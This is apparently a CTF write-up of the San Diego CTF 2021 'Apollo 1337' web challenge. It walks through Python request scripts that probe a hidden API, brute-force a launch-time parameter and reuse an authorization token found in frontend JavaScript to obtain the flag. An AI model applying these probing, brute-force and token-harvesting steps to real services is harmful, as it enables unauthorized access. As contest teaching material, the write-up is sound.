Try   HackMD

San Diego CTF 2021 : Apollo 1337

Sun, May 09, 2021 2:09 AM

tags: CTF web api tokens sdctf-2021

Challenge Description

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →


TL;DR

  • The website's interface seems to be down.
  • While investigating the network, website uses an API with the path /api/status?verbose=
  • Setting parameter verbose to any value, unlocks other API paths
  • Investigating the responses and crafting a right request would launch the rocket
  • Finally, the crafted request, requires an Authorization token, which can be found on Frontend JS pages
  • Sending the correct request along with Authorization token would give the flag

Solution

Opening up the website, the page shows two messages about Frontend and Backend Servers. It says, the FrontEnd is not active, but the Backend server is working fine.

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

There must be some sort of API which the website must be using as refered in the challenge description

Checking out the network tab in firefox dev tools, reveals the Backend API route

https://space.sdc.tf/api/status?verbose=

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

This route gives the following response

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Wait!! We got the API, but what's the verbose parameter in the URL?
May be it generates verbose response!. Trying ?verbose=1, yeilds the following response

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Cool!! It revealed some other API paths. Rocket launching and fuel? The path /rocketLaunch is more interesting according to the challenge description

Let's try sending some requests using python.

Sending a get request using python -

import requests
url = "https://space.sdc.tf/api/rocketLaunch"
print(requests.get(url).text)
request body must be json

Oh, it accepts JSON data. Let's try a post request with empty data

import requests
data = {}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
rocket not specified

rocket?? May be its a key in the json data. Let's provide a random rocket.

import requests
data = {"rocket": "random"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
rocket not recognized (available: triton)

Oh, it accepts triton as a rocket.

import requests
data = {"rocket": "triton"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
launchTime not specified

And providing a random launch time -

import requests
data = {"rocket": "triton", "launchTime": "random"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
launchTime not in hh:mm format

Okay !

import requests
data = {"rocket": "triton", "launchTime": "00:01"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
launchTime unapproved

Cool, we got a break to think here. What would be the launch time? I tried looking in the other API paths. Tried 13:37 from challenge name, but nothing really worked. But then i decided to Brute force

There are 24 hours and 60 minutes. So we get the min time to be 00:00 while the maximum time of 23:59. So the possiblities are few being 24x60=1440

So i used a small python script!

import requests
url = "https://space.sdc.tf/api/rocketLaunch"

for i in range(11, 24):
    for j in range(60):
        time = str(i).zfill(2) + ':' + str(j).zfill(2)
        data = {"rocket": "triton", "launchTime": time}
        res = requests.post(url, json=data)
        
        if len(res.text) > 21:
            print("Got the correct time: " + time)
            exit()
        
        print(time + " : " + res.text)

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Cool! We have the correct time now.

Oh my bad! The description tells that the rocket was scheduled at noon today. So we can perfectly use the time 12:00, instead of brute forcing. Anyway

So going further -

import requests
data = {"rocket": "triton", "launchTime": "12:00"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
fuel pumpID not specified

Remember the fuel path /api/fuel?

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

We got some fuels to try out!! I tried all the five fuels. Fourth one is working.

import requests
data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
frontend authorization token not specified

Oh shit! Authorization? Where do I get the token? But it's saying frontend authorization. May be, trying out to seach some JS files is a great idea.

As i thought, I found a token in JS a file.

 window.localStorage.getItem("debug") && (e.headers = {
                        Token: "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ"
                    }), fetch("./api/status?verbose=", e).then((function(e) {
                        return e.json()
                    })).then((function(e) {
                        return n(e.longStatus)
                    }))

For some reason, the token was case-sensitive. But is was spelled Token in JS

So finally, providing the token in the json -

import requests
data = {"rocket": "triton", "launchTime": "12:00", "pumpID": 4, "token": "yiLYDykacWp9sgPMluQeKkANeRFXyU3ZuxBrj2BQ"}
url = "https://space.sdc.tf/api/rocketLaunch"
res = requests.post(url, json=data)
print(res.text)
rocket launched. sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}

Yayy!! The rocket got launched. We have the flag.

Flag

sdctf{0ne_sM@lL_sT3p_f0R_h@ck3r$}


Takeaways

  • Keep an eye on parameters which might have different functionalities
  • Always search for API tokens, Authorization tokens and other important data in JavaScript files


Happy Hacking!



This was an easy challenge. I did elobarate the solution in order to make it more detailed. This might help the players who have not played the CTF.

Feel free to provide feedback.
Twitter
Discord